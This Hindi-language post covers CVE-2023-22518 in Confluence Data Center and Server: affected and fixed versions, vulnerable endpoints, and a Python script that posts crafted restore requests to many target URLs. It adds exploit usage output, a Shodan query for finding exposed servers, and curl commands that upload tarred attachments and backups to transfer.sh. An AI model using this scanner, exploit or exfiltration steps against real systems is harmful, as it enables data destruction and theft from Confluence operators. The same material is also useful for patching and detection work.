
Confluence Data Center और Server में अनुचित प्राधिकरण भेद्यता
Confluence Data Center और Server में अनुचित प्राधिकरण भेद्यता।
Atlassian ने प्रशासकों को Confluence में एक गंभीर भेद्यता के बारे में सचेत किया है। इस समस्या का शोषण करने से डेटा हानि हो सकती है, इसलिए डेवलपर्स आपसे जितनी जल्दी हो सके पैच स्थापित करने का आग्रह करते हैं।
यह ध्यान दिया गया है कि इस भेद्यता का उपयोग डेटा रिसाव के लिए नहीं किया जा सकता है, और यह atlassian.net डोमेन के माध्यम से एक्सेस की जाने वाली Atlassian Cloud साइटों को प्रभावित नहीं करता है।
https://jira.atlassian.com/browse/CONFSERVER-93142
| उत्पाद | प्रभावित संस्करण | सुधारित संस्करण |
|---|---|---|
| Confluence Data Center | सभी संस्करण प्रभावित हैं | 7.19.16 या उसके बाद |
| Confluence Server | 8.3.4 या उसके बाद | |
| 8.4.4 या उसके बाद | ||
| 8.5.3 या उसके बाद | ||
| 8.6.1 या उसके बाद |
श्रेणी: अनुचित प्राधिकरण
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action सामुदायिक मंच
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip
Shodan खोज:
http.favicon.hash:-305179312
इस भेद्यता का उपयोग करके Confluence को रीसेट करने पर, %CONFLUENCE_HOME%/attachments निर्देशिका फ़ाइलों से भरी रहती है, जिनकी संख्या संभावित रूप से हजारों में हो सकती है। उन सभी को निकालना काफी सरल है, और उनके एक्सटेंशन Linux file कमांड का उपयोग करके निर्धारित किए जा सकते हैं। उदाहरण के लिए:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
or
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
किसी निर्देशिका को आसानी से संग्रहित करने और संग्रह निकालने का उदाहरण:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip
गंभीर Confluence भेद्यता पैच होने के बाद भी नया बैकडोर बना रहता है